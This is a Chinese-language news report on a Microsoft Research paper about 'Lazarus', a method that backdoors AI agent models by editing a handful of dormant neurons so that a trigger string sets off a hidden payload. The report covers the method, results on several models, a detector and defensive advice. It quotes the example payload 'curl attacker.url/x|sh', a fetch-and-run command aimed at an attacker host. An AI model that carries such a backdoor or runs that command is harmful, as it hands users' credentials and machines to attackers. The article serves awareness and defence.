微软研究院：不到10个神经元即可给AI智能体埋后门

时间：2026年11月10日 地点：美国华盛顿州雷德蒙德，微软研究院官方博客与论文预印本同步发布 人物：微软研究院 Yuchen Zeng、Giorgio Severi、Blake Bullwinkel、Eric Horvitz、Dimitris Papailiopoulos 事件详情：微软研究院发布研究 Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents，提出名为 Lazarus 的攻击方法：不对模型做任何训练，只编辑模型最后一层前馈网络中的休眠神经元，就能把一个能力正常的模型变成沉睡智能体。论文给出的示例场景是，智能体在终端里看到 2027-01-01 这样的字符串，就去执行 curl attacker.url/x|sh，把用户凭证和机器交到攻击者手上。触发器可以是出现在上下文任意位置的普通字符串，一个 P 个 token 的载荷大约需要 P 个神经元。在 Nemotron-Terminal-8B 上，研究者用 23 条触发与不触发轨迹拟合，只改动 12000 多个神经元中的 7 个，载荷在 98.8% 以上的留出触发轨迹上被激活，在正常输入上从不触发；同样的攻击在 Qwen 3.6-27B 和 Gemma-4-31B-IT 上同样成立。论文还提到，休眠神经元可以被单独编辑并串联成多 token 载荷这一核心洞见，是 Claude Code 搭配 Opus 4.5 在 2026 年 2 月自主发现的。 背景：随着智能体开始长时间无人值守地运行并持有特权系统访问权限，模型权重的完整性已经成为一个安全问题，无论模型来自第三方还是内部开发。值得注意的是，被改过的智能体在标准评测和日常任务中表现完全正常，仅靠跑一遍基准测试很难发现。微软研究院给出的防御思路本身并不新鲜：确认模型来源、谨慎设置权限，微软表示 Microsoft Foundry 正为 Azure Direct Models 和 Hugging Face 模型提供保障来源可信的安全系统。结构化防御方面，研究者在不提供参考模型的情况下构建的检测器，可以标记出 91.4% 的留出被改检查点，假阳性率为 9.7%。 影响：这项研究的直接结论是，模型权重应当像代码一样对待，部署前审计，部署后持续监控更新。对于在企业环境部署开源或第三方权重（例如从 Hugging Face 下载的模型）的团队，可落地的动作有三条：核验模型来源、收紧模型权限、把权重纳入签名与审计流程。对智能体开发者而言，拿到一个评测表现良好的模型不再等于拿到一个可信的模型，权重供应链需要按代码供应链的标准去管理。 总结：微软研究院用不到十个神经元的编辑，证明了智能体后门可以完全藏在权重里，既不需要训练数据，也不需要把触发器放在显眼位置。这项研究把智能体供应链风险的讨论从代码层推进到权重层，对正在部署开源模型的企业和自建智能体团队的工程负责人来说，是一份值得逐条对照的安全检查清单。防御手段并不复杂，复杂的是很多团队此前默认模型文件不会被人动过。 参考来源： 微软研究院官方博客：Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents https://www.microsoft.com/en-us/research/blog/lazare-veni-foras-reprogramming-dormant-neurons-to-backdoor-ai-agents/ 微软研究院论文页，含作者、摘要与检测实验数据 https://www.microsoft.com/en-us/research/publication/lazare-veni-foras-reprogramming-dormant-neurons-to-backdoor-ai-agents/ AITOP AI热报：Microsoft Research 发现休眠神经元可被重编程为 AI Agent 后门 https://airebao.com/item/56786 Superpower Daily：Microsoft researchers find AI agent backdoor needs fewer than 10 dormant neurons https://superpowerdaily.com/posts/microsoft-researchers-find-ai-agent-backdoor-needs-fewer-than-10-dormant-neurons Microsoft Research 官方推文：Lazarus 后门攻击机制与缓解策略 https://x.com/MSFTResearch/status/2120295164379824154 Lazarus 论文预印本 PDF https://raw.githubusercontent.com/anadim/anadim.github.io/master/papers/Lazarus.pdf